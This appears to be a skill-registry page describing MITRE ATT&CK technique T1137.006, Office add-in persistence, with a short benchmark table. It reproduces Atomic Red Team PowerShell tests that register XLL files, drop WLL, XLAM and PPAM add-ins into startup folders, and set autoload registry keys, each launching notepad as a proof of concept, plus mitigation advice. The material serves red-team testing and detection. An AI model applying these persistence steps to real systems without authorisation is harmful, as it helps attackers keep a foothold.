Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | 37% | 0% |
| case-14 | ✗→✓ | ▲ Improved | 35% | 0% |
| case-15 | ✗→✓ | ▲ Improved | 78% | 0% |
| case-22 | ✗→✓ | ▲ Improved | 124% | 0% |
| case-05 | ✓→✓ | = Same ✓ | 103% | 0% |
> Sub-technique of: T1137
Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.
Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.
Platforms: Windows, Office Suite
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Loads an XLL file using the excel add-ins library. This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.
Supported Platforms: windows
powershell$excelApp = New-Object -COMObject "Excel.Application" if(-not $excelApp.path.contains("Program Files (x86)")){ Write-Host "64-bit Office" $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") } else{ Write-Host "32-bit Office" $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll") }
Dependencies:
Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
Supported Platforms: windows
powershell$excelApp = New-Object -COMObject "Excel.Application" if(-not $excelApp.path.contains("Program Files (x86)")){ Write-Host "64-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll" } else{ Write-Host "32-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll" } $ver = $excelApp.version $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" Remove-Item $ExcelRegPath -ErrorAction Ignore New-Item -type Directory $ExcelRegPath | Out-Null New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyType string | Out-Null $excelApp.Quit() Start-Process "Excel"
Dependencies:
Creates a Word Add-in file (WLL) which runs automatically when Word is started The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office. Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office.
Supported Platforms: windows
powershell$wdApp = New-Object -COMObject "Word.Application" if(-not $wdApp.path.contains("Program Files (x86)")) { Write-Host "64-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" } else{ Write-Host "32-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" } Stop-Process -Name "WinWord" Start-Process "WinWord"
Dependencies:
Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.
Supported Platforms: windows
powershellCopy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" Start-Process "Excel"
Dependencies:
Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.
Supported Platforms: windows
powershellCopy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam" $ver = (New-Object -COMObject "PowerPoint.Application").version $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" New-Item -type Directory $ExcelRegPath -Force | Out-Null New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD | Out-Null New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null Stop-Process -Name "PowerPnt" -ErrorAction Ignore Start-Process "PowerPnt"
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk.
| Finding | Severity | Impact | | ---------------------------- | -------- | ----------- | | Add-ins technique applicable | Low | Persistence |
| CWE ID | Title | | ------- | ----------------------------- | | CWE-276 | Incorrect Default Permissions |
Other measured skills in the registry, with their headline benchmark lift.